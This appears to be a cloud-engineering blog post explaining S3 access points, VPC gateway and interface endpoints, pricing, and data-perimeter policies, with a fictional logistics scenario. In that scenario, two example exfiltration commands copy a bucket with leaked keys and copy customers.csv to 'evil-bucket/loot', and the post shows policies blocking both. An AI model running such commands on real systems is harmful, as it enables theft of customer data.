# S3 Access Points & VPC Endpoints, Explained

> What S3 Access Points and VPC endpoints are, why you want them, and how a free gateway endpoint stops you paying NAT rent to reach S3.

- Author: Jimmy Morin (Cloud Infrastructure Engineer)
- Published: 2026-11-19
- Updated: 2026-11-19
- Tags: aws, s3, vpc, privatelink, networking, security
- Canonical: https://jimmymorin.cloud/posts/s3-access-points-vpc-endpoints-explained

> The storage service everyone uses, the access feature people discover after their bucket policy reaches 19 KB, and the networking trick that stops you paying NAT Gateway rent to talk to a service in the same Region.

## 1. What is Amazon S3?

> Amazon Simple Storage Service is AWS's object storage. You put objects (any blob plus metadata) into buckets, under keys, and get them back over an HTTPS API. It doesn't mount like a disk, it scales without you doing anything, and it's billed per GB-month, per request and per GB transferred out.

S3 is one of AWS's oldest services and it shows up almost everywhere: static websites, data lakes, backups, Terraform state, log archives, ML datasets, CloudTrail trails. It's a flat **key → object** store. The "folders" you see in the console are prefixes in the key, nothing more. `logs/2026/11/17/app.json` is a single key.

| Concept | What it is |
|---|---|
| **Bucket** | The container. Bucket names are globally unique, each bucket lives in one Region, and it's the unit you attach policies, versioning, encryption, lifecycle and replication to. |
| **Object** | The data: bytes plus metadata, addressed by key. Every object is encrypted at rest (SSE-S3 is the default, and SSE-KMS is available when you need key control). |
| **Storage class** | The price tag: Standard, Intelligent-Tiering, Standard-IA, One Zone-IA, the Glacier family, and Express One Zone for single-digit-millisecond latency. |
| **Bucket types** | Not just "a bucket" any more: general purpose buckets (the classic kind), directory buckets (Express One Zone), table buckets (S3 Tables / Iceberg) and vector buckets (S3 Vectors). |

### Who gets in? The access-control stack

Every request is checked against several layers, and an explicit `Deny` in any of them wins: IAM identity policies, the bucket policy, Block Public Access, SCPs/RCPs, VPC endpoint policies and, as of section 2, access point policies. ACLs still exist, but Object Ownership = *Bucket owner enforced* turns them off by default, and you should leave it that way.

And the network side: by default S3 is reached through **public regional endpoints** such as `s3.eu-north-1.amazonaws.com`. "Public" here means public IPs, not public data. That matters a lot in section 4.

---

## 2. What is an S3 Access Point?

> An access point is a **named network endpoint attached to a bucket**, and each one has its own hostname, its own access policy, its own Block Public Access settings and an optional "VPC-only" restriction. Think of it as giving every team its own door into the same building instead of one front door with a very long guest list.

![Describe the image](/media/363cf3c9ff77456e941a9e1cff4ca59c.png)

*One bucket, three doors. Each access point carries its own policy and network rules; the bucket policy just says "trust whatever my access points decide".*

### What an access point gives you

- **Its own address.** An ARN (`arn:aws:s3:eu-north-1:111122223333:accesspoint/analytics-ro`), a hostname (`analytics-ro-111122223333.s3-accesspoint.eu-north-1.amazonaws.com`) and an **alias** that looks like a bucket name, so tools that only accept a bucket name still work.
- **Its own resource policy.** Standard IAM policy syntax, scoped to that door. Max 20 KB per access point policy, same as the bucket policy.
- **A network origin** of `Internet` or `VPC`. A VPC access point only takes requests coming from one specific VPC, through a VPC endpoint. *You can't change this after creation*, so choose carefully.
- **Per-AP Block Public Access** settings, on top of the account and bucket ones.
- **Scale and price.** Up to 10,000 access points per account per Region, at no extra charge. You pay normal S3 request/storage/transfer rates.

### The extended family

- **Multi-Region Access Points.** One global endpoint in front of buckets in several Regions, routed over the AWS network to the closest copy, with failover controls. Comes with its own routing and data-transfer charges.
- **Directory buckets (Express One Zone).** Access points also work with directory buckets, so high-performance buckets get prefix- and action-level control too.
- **FSx and AWS Backup.** You can attach access points to FSx for NetApp ONTAP / OpenZFS file systems and to AWS Backup recovery points, so file or backup data can be read through the S3 API.
- **ABAC with tags.** Access points can be tagged and used in attribute-based access control, for when even 10,000 hand-written policies isn't the plan.

---

## 3. Why use S3 Access Points?

> Use them because a shared bucket with one giant bucket policy doesn't scale, isn't safe to edit and can't be delegated to anyone else. Access points split that one policy into many small ones, each owned by the team that uses it.

### The problem they solve

A data-lake bucket starts with two consumers. A year later it has fourteen: three ETL jobs, two BI tools, a partner, a SageMaker notebook and "that Lambda from the hackathon". Every new consumer means another statement in **one** bucket policy that is capped at 20 KB, where one bad edit can lock everyone out (or let everyone in), and which nobody wants to review on a Friday.

| Benefit | Why it matters |
|---|---|
| 🧩 **Blast radius** | Editing the `ingest-rw` policy can't break analytics. One policy per consumer means one failure domain per consumer. |
| 📏 **Scale past 20 KB** | 10,000 access points × 20 KB of policy each is a lot more room than a single bucket policy. |
| 🔒 **Network lock-down** | A VPC-origin access point simply doesn't answer requests from outside its VPC, with no `aws:SourceVpce` conditions to write or get wrong. |
| 🧑‍🤝‍🧑 **Delegation** | The bucket owner delegates once; app teams (or other accounts) own their own access points and policies, including cross-account ones. |
| 🏷️ **Clear audit trail** | CloudTrail records which access point a request came through, so "who reads `reports/`?" becomes a query instead of an archaeology dig. |
| 🔁 **Drop-in for apps** | The alias works anywhere a bucket name does: SDKs, CLI, EMR, Athena, Redshift, CloudFront origins. |

### The delegation pattern

The bucket policy hands control to any access point owned by the account; each access point policy then says who can do what.

**Bucket policy (delegate):**

```json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "DelegateToMyAccessPoints",
    "Effect": "Allow",
    "Principal": { "AWS": "*" },
    "Action": "*",
    "Resource": [
      "arn:aws:s3:::data-lake-bucket",
      "arn:aws:s3:::data-lake-bucket/*"
    ],
    "Condition": {
      "StringEquals": { "s3:DataAccessPointAccount": "111122223333" }
    }
  }]
}
```

**Access point policy:**

```json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "AWS": "arn:aws:iam::111122223333:role/analytics-reader" },
    "Action": "s3:GetObject",
    "Resource": "arn:aws:s3:eu-north-1:111122223333:accesspoint/analytics-ro/object/reports/*"
  }]
}
```

**CLI:**

```bash
# Create a VPC-only access point
aws s3control create-access-point \
  --account-id 111122223333 \
  --name analytics-ro \
  --bucket data-lake-bucket \
  --vpc-configuration VpcId=vpc-0a1b2c3d

# Use it like a bucket (ARN or alias)
aws s3 ls s3://arn:aws:s3:eu-north-1:111122223333:accesspoint/analytics-ro/reports/
aws s3 cp s3://analytics-ro-abc123xyz-s3alias/reports/q3.parquet .
```

> ⚠️ **Gotcha.** Access points only cover *object* operations (and a few, such as ListObjects, on the bucket). Bucket-level configuration like lifecycle, replication or versioning still goes through the bucket. And remember **both** the AP policy and the bucket policy must allow the request: without delegation, you've just added a second lock to the same door.

---

## 4. What is an S3 VPC endpoint?

> A VPC endpoint lets resources inside your VPC reach S3 **privately**, without an Internet Gateway, a NAT device or a public IP. Traffic stays on the AWS network and you can attach a policy to the endpoint itself.

Without an endpoint, an EC2 instance in a private subnet that runs `aws s3 cp` sends traffic to S3's public IPs, so it needs a route out: a NAT Gateway (billed per hour *and* per GB processed) or an IGW plus a public IP. Your data never leaves AWS's backbone in practice, but your bill acts as though it did.

A VPC endpoint gives that traffic a dedicated private route. You get three things:

- **Privacy / compliance:** no internet path is needed, so fully isolated subnets can still use S3.
- **Control:** an **endpoint policy** (an IAM resource policy on the endpoint) limits *which buckets and actions* can be used through it, which is your data-exfiltration guardrail. On the S3 side, bucket policies can require `aws:SourceVpce` or `aws:SourceVpc`.
- **Cost:** no NAT Gateway processing charges for S3 traffic. With the gateway type, it's free.

![Describe the image](/media/3987d92093a04ffcba9f4f29fd5b06fa.png)

*Same request, two routes. The endpoint removes the NAT and IGW hops, along with the NAT's per-GB processing charge.*

---

## 5. VPC endpoint types, and the ways to use them

> AWS has **five** kinds of VPC endpoint. Two of them matter for S3: **Gateway** (free, route-table based, VPC-local) and **Interface** (PrivateLink ENIs with private IPs, paid, reachable from anywhere you can route to). The other three are there so you recognise them on the exam.

| Type | How it works | Used for | S3? |
|---|---|---|---|
| **Gateway** | Target in your route tables, matching an AWS-managed prefix list | S3 and DynamoDB only | ✅ |
| **Interface** (PrivateLink) | ENI with a private IP in each subnet/AZ you choose; protected by security groups | Most AWS services, plus SaaS / your own NLB-backed services | ✅ |
| **Gateway Load Balancer** | ENI that steers traffic to a GWLB fleet of appliances | Inline firewalls / IDS / inspection | ❌ |
| **Resource** | PrivateLink to a specific resource (DB, IP, DNS name) shared via VPC Lattice / RAM | Sharing a single resource privately across VPCs/accounts | ❌ |
| **Service network** | PrivateLink into a VPC Lattice service network | Many services/resources behind one endpoint | ❌ |

### Gateway vs Interface for S3: side by side

![Describe the image](/media/d4fbe02105cd44bba34b8b63179d954e.png)

*Gateway: a routing trick that only works for traffic that starts inside that VPC. Interface: a real private IP that anything with a route to the VPC can use, including your data centre.*

| | Gateway endpoint | Interface endpoint |
|---|---|---|
| Mechanism | Route table entry → prefix list | ENI + private IP per AZ (PrivateLink) |
| Cost | **Free** | Hourly per ENI/AZ + per GB processed |
| Reachable from on-prem (VPN/DX) | ❌ No | ✅ Yes |
| From peered VPC / Transit Gateway | ❌ No | ✅ Yes |
| Other Regions' buckets | ❌ No (same Region only) | ❌ Same Region (unless you route to that Region's endpoint) |
| Security groups | N/A (use endpoint policy) | Yes, plus endpoint policy |
| DNS | Unchanged: public S3 names, public IPs | Endpoint-specific names, or private DNS for the standard names |
| Bucket policy condition | `aws:SourceVpce`, `aws:SourceVpc` | `aws:SourceVpce`, `aws:SourceVpc` |
| Best for | In-VPC workloads (the 90% case) | Hybrid, multi-VPC hub-and-spoke, strict private-IP requirements |

### Different ways to use them

1. **Gateway only.** The default for most VPCs: add the gateway endpoint, associate the private route tables, and stop paying for NAT on S3 traffic.
2. **Both, side by side.** Gateway for in-VPC workloads (free), interface for on-prem through DX/VPN. Enable private DNS with "*only for inbound endpoint*" so in-VPC traffic keeps using the free gateway.
3. **Centralised hub.** One interface endpoint in a shared-services VPC, reached by spokes over TGW and resolved with Route 53 Resolver rules. Fewer ENIs to pay for, but now you pay TGW data processing instead.
4. **Data perimeter.** Endpoint policy: "only *our org's* buckets" (`aws:ResourceOrgID`). Bucket policy: "only from *our* endpoints" (`aws:SourceVpce`). Exfiltration now needs to get past both.
5. **+ VPC access points.** Pair an endpoint with a VPC-origin access point: the AP refuses anything not from its VPC, and the endpoint policy can allow only specific access point ARNs.

### Endpoint policy example: "our buckets only"

```json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "OnlyOrgBuckets",
    "Effect": "Allow",
    "Principal": "*",
    "Action": "s3:*",
    "Resource": "*",
    "Condition": {
      "StringEquals": { "aws:ResourceOrgID": "o-abc123xyz" }
    }
  }]
}
```

> ⚠️ **Gotcha.** A tight endpoint policy also blocks AWS-owned buckets your instances need quietly: Amazon Linux `dnf` repos, SSM agent, ECR image layers (stored in S3!), CloudFormation helper scripts. If `yum update` hangs right after you lock down the endpoint, that's the reason.

---

## 6. What is an S3 gateway endpoint?

> A **gateway endpoint** is a free, regional, route-table-level target for S3 (and DynamoDB). You attach it to route tables, AWS adds a route for S3's managed prefix list, and traffic from those subnets to S3 goes privately to S3 instead of through NAT/IGW. There's no ENI, no IP, no security group and no hourly fee.

### How it actually works

1. You create `com.amazonaws.<region>.s3` with type `Gateway` and choose route tables.
2. AWS adds a route in each table: destination = the S3 prefix list (`pl-xxxxxxxx`), target = `vpce-xxxxxxxx`.
3. Your app still resolves `bucket.s3.eu-north-1.amazonaws.com` to **public** S3 IPs; DNS doesn't change.
4. Those IPs match the prefix list, which is more specific than `0.0.0.0/0`, so the packet goes to the endpoint, not the NAT.
5. The endpoint policy is evaluated, then S3 evaluates IAM + bucket policy, where it can see `aws:SourceVpce`.

**Terraform:**

```hcl
resource "aws_vpc_endpoint" "s3" {
  vpc_id            = aws_vpc.main.id
  service_name      = "com.amazonaws.${var.region}.s3"
  vpc_endpoint_type = "Gateway"
  route_table_ids   = aws_route_table.private[*].id

  policy = data.aws_iam_policy_document.s3_endpoint.json

  tags = { Name = "s3-gateway" }
}
```

**AWS CLI:**

```bash
aws ec2 create-vpc-endpoint \
  --vpc-id vpc-0a1b2c3d \
  --vpc-endpoint-type Gateway \
  --service-name com.amazonaws.eu-north-1.s3 \
  --route-table-ids rtb-0aaa rtb-0bbb

# Verify the route appeared
aws ec2 describe-route-tables --route-table-ids rtb-0aaa \
  --query 'RouteTables[].Routes[?GatewayId!=`local`]'
```

**Bucket policy lock:**

```json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "DenyUnlessFromMyEndpoint",
    "Effect": "Deny",
    "Principal": "*",
    "Action": "s3:*",
    "Resource": [
      "arn:aws:s3:::my-private-bucket",
      "arn:aws:s3:::my-private-bucket/*"
    ],
    "Condition": {
      "StringNotEquals": { "aws:SourceVpce": "vpce-0123456789abcdef0" }
    }
  }]
}
```

> ⚠️ This also locks out the console and your laptop. Add an exception (e.g. `aws:PrincipalArn` for a break-glass role) before applying, unless you enjoy support tickets.

### Gotchas & lessons learned

- **Same Region only.** A gateway endpoint in `eu-north-1` does nothing for a bucket in `us-east-1`; that traffic still goes through your NAT and gets billed there. Cross-region replication in disguise is a classic FinOps surprise.
- **`aws:SourceIp` stops working.** Through an endpoint S3 sees your *private* IP, so bucket policies based on public IP allowlists will deny your own VPC traffic. Use `aws:SourceVpce` / `aws:SourceVpc` instead.
- **Not transitive.** On-prem, peered VPCs and TGW-attached VPCs can't "borrow" your gateway endpoint. That's what interface endpoints are for.
- **Association changes routes live.** Adding a gateway endpoint to a route table can interrupt in-flight S3 connections from those subnets, since their path changes. Do it in a quiet window, not mid-backup.
- **Forgot a route table?** Subnets whose route table isn't associated keep using NAT. Check *every* private route table, especially per-AZ ones created by a module you didn't write.
- **Security groups and NACLs still apply.** SGs can reference the prefix list in egress rules; restrictive NACLs must allow the S3 CIDRs (and return traffic) explicitly.

### Why it's (nearly) always worth it

NAT Gateway data processing is billed per GB on top of the hourly charge. For a workload pushing a few TB a month of backups, logs or artifacts to S3, that line item is real money spent on *nothing*, because a free gateway endpoint does the same job. If you have private subnets and a NAT, you should have an S3 gateway endpoint. There are very few good reasons not to.

---

## 7. Real-world scenario: a day in the life of Kanelbulle Logistics AB

> **The setup.** A (fictional) Stockholm logistics company keeps everything in one data-lake bucket in `eu-north-1`. Ingest workers upload about **3 TB/month** of scanner telemetry, a Lambda builds daily reports, and Finance pulls exports from the office over Direct Connect. Security asked for one thing: *"nothing goes over the internet and nothing goes out."*

| Building block | Configuration |
|---|---|
| **Workloads VPC** | Private subnets only. S3 **gateway endpoint** on every private route table. A NAT Gateway is still there for the odd external API. |
| **Hub VPC + Direct Connect** | S3 **interface endpoint** (2 AZs) plus a Route 53 inbound resolver, so the office resolves S3 names to private IPs. |
| **Three VPC-origin access points** | `ingest-rw`, `analytics-ro` and `finance-ro`. The bucket policy delegates to them and denies anything not arriving through the company's endpoints. |
| **Endpoint policies** | Allow only buckets in the company's AWS Organization (`aws:ResourceOrgID`), plus the Amazon Linux repo buckets, because `dnf` deserves to live. |

Let's follow five requests through that setup, hop by hop.

> 💰 Cost figures use us-east-1 list prices as a ballpark (NAT Gateway ≈ $0.045/hr + $0.045/GB processed; interface endpoint ≈ $0.01/hr per AZ + $0.01/GB). Check the pricing pages for eu-north-1 before quoting them to your CFO.

### Request 1: Ingest worker uploads telemetry ✅

```bash
aws s3 cp scan-0917.json s3://ingest-rw-…-s3alias/raw/2026/11/17/
```

![Describe the image](/media/0910b972fb4746ba9befe44fc43c015b.png)

| # | Hop | Result |
|---|---|---|
| 1 | Request leaves EC2 | ✅ DNS resolves the AP alias to public S3 IPs; nothing special yet. |
| 2 | Route table lookup | ✅ Destination matches the S3 prefix list `pl-c3aa4faa`, more specific than `0.0.0.0/0` → `vpce-gw`. |
| 3 | Endpoint policy | ✅ Target is an org-owned bucket (`aws:ResourceOrgID` matches) → allowed. |
| 4 | Access point `ingest-rw` | ✅ Network origin = workloads VPC · AP policy allows `s3:PutObject` on `raw/*` for `ingest-writer`. |
| 5 | Bucket policy | ✅ Delegates to the account's APs; `aws:SourceVpce` is a company endpoint → object written. |

**Outcome:** `200 OK`. Private, policy-checked and free. Gateway endpoints have no hourly or per-GB fee.

### Request 1b: same upload, gateway endpoint removed ❌

Someone "cleans up" Terraform and the gateway endpoint disappears from the route tables.

![Describe the image](/media/0788ec23d9d14277a91c16a5a7739cdd.png)

| # | Hop | Result |
|---|---|---|
| 1 | Request leaves EC2 | ✅ Same command, same IAM role. |
| 2 | Route table lookup | 💸 No prefix-list route, so `0.0.0.0/0` → NAT Gateway. |
| 3 | NAT Gateway | 💸 Every byte is metered here: 3 TB/month × $0.045/GB processing. |
| 4 | Internet Gateway | ✅ Out to S3's public endpoint (still on AWS's backbone, but billed like the internet). |
| 5 | Access point `ingest-rw` | ❌ Network origin = VPC, but this request didn't come through a VPC endpoint → `AccessDenied`. |

**Outcome:** `403 AccessDenied`, and you paid NAT fees to receive it. Had the AP allowed it: ≈ **$138/month** NAT processing (3,072 GB × $0.045) + ≈ $33/month NAT hourly, for S3 traffic that could have been free.

The same thing happens to the reports Lambda: the logs blame IAM, but the real cause is a route table. Classic "but IAM looks fine!" incident.

### Request 2: Reports Lambda reads yesterday's data ✅

```python
s3.get_object(
    Bucket="arn:aws:s3:eu-north-1:111122223333:accesspoint/analytics-ro",
    Key="reports/2026-11-16.parquet",
)
```

![Describe the image](/media/60f2489a5c0342bc9fc9aec8ae7ce2a7.png)

| # | Hop | Result |
|---|---|---|
| 1 | Lambda in VPC | ✅ Runs in the private subnets via its ENIs, so the same route tables apply. |
| 2 | Route table lookup | ✅ S3 prefix list → `vpce-gw`. |
| 3 | Endpoint policy | ✅ Org-owned bucket → allowed. |
| 4 | Access point `analytics-ro` | ✅ VPC origin · `GetObject` on `reports/*` (a `PutObject` here would be denied: read-only door). |
| 5 | Bucket policy | ✅ Delegation + `SourceVpce` → object returned. |

**Outcome:** `200 OK`. Report generated, nobody paged. Extra network cost: **$0**.

### Request 3: Finance downloads the monthly export from the office ✅

```bash
aws s3 cp s3://finance-ro-…-s3alias/exports/finance/2026-10.csv .
```

![Describe the image](/media/55be81d03cfc468699a5950f8a0f1cad.png)

| # | Hop | Result |
|---|---|---|
| 1 | Office DNS | ✅ Conditional forwarder sends `*.amazonaws.com` S3 lookups over Direct Connect to the Route 53 inbound resolver. |
| 2 | Private DNS answer | ✅ Interface endpoint has private DNS ("inbound only") → resolves to `10.20.1.15`, not a public IP. |
| 3 | Interface endpoint ENI | ✅ Security group allows 443 from `192.168.0.0/16` · endpoint policy: org buckets. |
| 4 | Access point `finance-ro` | ✅ Network origin = hub VPC · `GetObject` on `exports/finance/*`. |
| 5 | Bucket policy | ✅ `SourceVpce` = the hub interface endpoint → file downloaded. |

**Outcome:** `200 OK` over Direct Connect, never touching the internet. Cost ≈ **$14.60/month** (2 AZs × $0.01/hr) + $0.01/GB. A gateway endpoint can't do this: on-prem can't use it.

### Request 4: Someone uses leaked dev keys from a café ❌

```bash
aws s3 sync s3://data-lake-bucket/ ./totally-not-exfil/
```

![Describe the image](/media/61395dc0e26d4a639f24d18c8d5132b6.png)

| # | Hop | Result |
|---|---|---|
| 1 | Valid credentials | ✅ The keys are real and the IAM policy even allows `s3:GetObject`. Uh-oh. |
| 2 | Bucket policy | ❌ Deny when `aws:SourceVpce` is not a company endpoint → `AccessDenied` on every object. |

**Outcome:** `403 AccessDenied`. The keys still need rotating, but the data stayed put. Bonus: CloudTrail shows the denied calls with the source IP, which gives the incident report a solid first paragraph.

### Request 5: A compromised instance tries to copy data out ❌

```bash
aws s3 cp /data/customers.csv s3://evil-bucket/loot/
```

![Describe the image](/media/c185a78229f243cbb92bfe2eea791dc9.png)

| # | Hop | Result |
|---|---|---|
| 1 | Request leaves EC2 | ✅ The attacker owns `evil-bucket` (another account) and made it world-writable. |
| 2 | Route table lookup | ✅ `evil-bucket` is in the same Region, so it matches the S3 prefix list → `vpce-gw`. |
| 3 | Endpoint policy | ❌ `aws:ResourceOrgID` ≠ `o-kanelbulle` → denied at the VPC edge. The request never reaches `evil-bucket`. |

**Outcome:** `403 AccessDenied`. The data perimeter worked. Without the endpoint policy this would have succeeded: IAM on the target side was wide open, and identity policies only cover your own principals.

### What the scenario teaches

- **Access points and endpoints reinforce each other.** A VPC-origin access point *requires* the endpoint path. Remove the gateway endpoint and the same IAM role suddenly gets `AccessDenied`, which is great for security and confusing at 2 a.m.
- **Use both endpoint types.** Gateway for in-VPC traffic (free), interface for the office (it's the only one reachable over DX).
- **The endpoint policy guards the way out.** Valid credentials plus a bucket outside the org still get blocked at the VPC edge.
- **The bucket policy guards the way in.** Leaked keys used from a café are useless without the right `aws:SourceVpce`.

---

## 8. Cheat sheet: which one do I need?

| Situation | Answer |
|---|---|
| EC2 / Lambda in VPC → S3 | **Gateway endpoint.** Free; just do it. |
| On-prem via DX/VPN → S3 | **Interface endpoint** (+ Route 53 inbound resolver), keeping the gateway for in-VPC traffic. |
| Many spoke VPCs | A gateway in each spoke (free) or a **centralised interface** endpoint over TGW; do the math on TGW processing first. |
| Bucket shared by many teams | **Access points**, one per consumer, with a delegating bucket policy. |
| "Only from our network" | **VPC-origin access point** or bucket policy on `aws:SourceVpce`. |
| "Only to our buckets" | **Endpoint policy** with `aws:ResourceOrgID` (allow AWS-owned repo buckets). |
| Multi-Region active-active | **Multi-Region Access Point** over replicated buckets. |

---

### Sources

- [Amazon S3 User Guide: access points](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-points.html)
- [Amazon S3 Access Points feature page](https://aws.amazon.com/s3/features/access-points/)
- [Gateway endpoints for Amazon S3](https://docs.aws.amazon.com/vpc/latest/privatelink/vpc-endpoints-s3.html)
- [AWS PrivateLink for Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/privatelink-interface-endpoints.html)
- [AWS PrivateLink pricing](https://aws.amazon.com/privatelink/pricing/)

*Prices and limits change, so check the pricing pages for your Region.*
